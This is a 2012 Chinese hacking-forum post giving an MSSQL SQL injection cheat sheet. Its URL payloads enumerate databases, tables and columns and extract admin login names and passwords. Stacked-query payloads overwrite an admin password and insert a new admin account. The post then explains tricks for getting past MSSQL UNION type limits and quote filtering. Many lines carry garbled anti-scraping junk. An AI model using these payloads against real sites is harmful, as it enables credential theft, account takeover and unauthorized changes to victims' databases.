找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1905|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:8 B' \0 D1 R. o5 ?  ^1 S
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
; |- `4 Q. s  }9 ]5 p  USELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.& \2 n5 _% t, \
爆下一个库:' q/ {0 x5 _  p: R8 d6 n! I. i
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
* q/ V  f# I( K# e" ^. U3 ]& e# O. W1 t8 ]) i6 ^/ k4 |
爆表:
. g" F6 L! u  X( E* n$ b  `. o5 w+ Jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) }; s5 @; x7 d$ S

' Q8 }2 S. t, E0 BSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.6 |2 ]$ x+ q" o) x% O; M

9 q: n; U2 x7 k( L0 M- ]& v/ ^: c. M. d" y爆下一个表0 V, W3 W; e+ s* [# C! f# o
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--/ q- n$ z" R, U) W% S

( |! q3 M+ q+ k5 _http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--1 Q; s' }3 t2 i$ S

# K4 l+ Y: f) B4 d1 e2 N9 z9 N% d2 R' b% P0 F

6 A1 {1 p" h' r' @/ H2 E爆字段:! l9 p* J$ j* G
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
  B* n7 q8 k; ?! A5 `
0 N! t9 B; F1 {1 }爆下一个字段  x; I/ t9 T# P5 Y' z# n
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--4 r5 q& P2 L" t8 L: |0 V0 o! E  K+ A

% S. R5 S0 n/ G9 ?* Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--+ \3 y& d; d* I  y- D

0 M# w: X8 r( s# T, \) i0 d$ U& h7 a8 t7 q4 S
爆字段里的内容
& a+ h4 X! Y& M- G  d5 M/ a1 o, Q2 H' Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--- E) W1 g& `& c3 ^* f( O3 {7 s! U/ S
# T8 x( d, G6 I5 L/ q$ W  Q
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
" h' U. j0 ^% s0 V3 ]( T5 n
; a1 X- r& f4 S: k  I3 hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--5 d4 V; c8 }9 {% a2 X

9 z( P, v0 `9 x  [% zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--% n  v8 f- s! S. U
1 |- C* c+ d* u* Q
更新字段里的内容
$ C, ^, [2 v$ whttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--  Z4 k" H4 P  j* \& A0 s
0 H* X# X' h0 h+ `- x
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
1 |. F# _- H) @' @8 ~$ C# V; f) K8 [4 f: ^: f5 a
/ k* ]! X2 Z/ y* i5 n1 e, B# w

8 {3 P1 n3 ~  V+ U  Y% ~        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。( ~2 C- L' H$ w; t6 R8 Z
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。" V) X) T* H  t) f; b
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
  r6 z2 i$ |5 @2 {0 |/ g! c    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。2 d9 s* ]( U5 k
5 x8 C+ B( K  K6 ^& ]
突了了大部份限制的语句
7 }0 M. i5 x- w9 C/ d# D: ~and 1=2 union all select char(49),char(50),null,null;--
8 W6 z3 g4 H, Q, p  N" z  X6 n% b2 D; e2 Z2 g

# |/ c9 [& c3 ?' z" ?null也可以正常执行,不过没有回显,不好判断回显的列数。  |2 N* V6 W; d! D7 b+ }
一般union遇到问题都是有text或者ntext字段,image的很少遇到7 [' b6 X: C( ]

- A  u7 ?3 P, x- ^9 _1 }可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
) E, L% N  y3 \; ^
. \2 I2 ~' y$ b3 j8 S
2 }8 X3 Y8 ?, e+ |$ b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表